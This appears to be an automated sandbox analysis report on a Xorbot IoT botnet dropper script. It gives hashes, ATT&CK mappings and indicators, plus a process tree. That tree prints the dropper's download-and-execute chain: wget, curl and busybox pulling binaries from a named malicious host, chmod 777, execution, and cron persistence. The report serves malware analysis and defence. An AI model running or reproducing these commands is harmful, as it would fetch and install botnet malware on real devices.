xorbot | a2f3a210e7cddc93c3b7d98d9655baec10c4024093dc7aadc464777ac2dee97e

Analysis

max time kernel
113s
max time network
141s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/02/2025, 18:18

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General

Target

bins.sh
Size

10KB
MD5

ae052a19c0e0a091edd6a9cf7b04fbcf
SHA1

8d4bd6f14dbfc3325ecf82587df87c0188a45198
SHA256

a2f3a210e7cddc93c3b7d98d9655baec10c4024093dc7aadc464777ac2dee97e
SHA512

ee1cf26afa600de9d0eb79365706310bd1ee5b61a0bfa368929d333f502d806423edabebb4254bbc1f31887b4f1761c95b07c8a4c8331d4e124e257d848559e3
SSDEEP

192:x+5QqNPJAyA+AdAgAYA4PAyA+AdAgAYAqoL:x+XNPJdpmnfTPdpmnf0

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1521) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
749	chmod
802	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	750	bins.sh
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	803	bins.sh

Renames itself 1 IoCs

pid	Process
804	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Y2YRFJ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/886/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/890/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/905/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/361/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/685/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/864/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/842/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/948/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/963/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/111/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/850/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/854/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/860/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/915/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/930/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/952/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/72/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/684/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/888/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/944/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/958/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/987/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/358/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/894/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/902/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/37/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/678/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/836/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/849/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/853/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/874/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/929/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/843/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/847/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/883/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/961/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/897/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/967/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/12/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/848/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/962/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/981/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/1/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/811/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/857/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/862/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/960/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/8/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/815/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/833/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/884/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/949/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/964/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/997/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/825/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/872/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/991/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/993/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/13/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/73/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/835/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/851/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/891/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/892/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
758	curl
801	busybox
813	wget
724	wget
740	curl
748	busybox
753	wget

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	busybox
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	wget
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	curl
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	wget
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:717
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:750
- /bin/rm
  rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - System Network Configuration Discovery
  PID:801
- /bin/chmod
  chmod 777 tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  ./tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:803
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:805
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:806
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:807
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:808
- /bin/rm
  rm tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:810
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - System Network Configuration Discovery
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.Y2YRFJ

Filesize
210B

MD5
7e61e75eb33a65b0cfc77491488ed44e

SHA1
e31a731799d204ba871fc73083fb7844574c4705

SHA256
134c46f7c580699d266509bbbc46ee8ce070795af4da8d6e27ae94bf4227f5b4

SHA512
c33a603fd0d92f2287da6dd0c227145b6f0772c3b593fd922c9a0667708851d8c1b3abe57cbdf9e03d041fb3e43f42722b6971add1addf4186156d1eba59dbd4

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads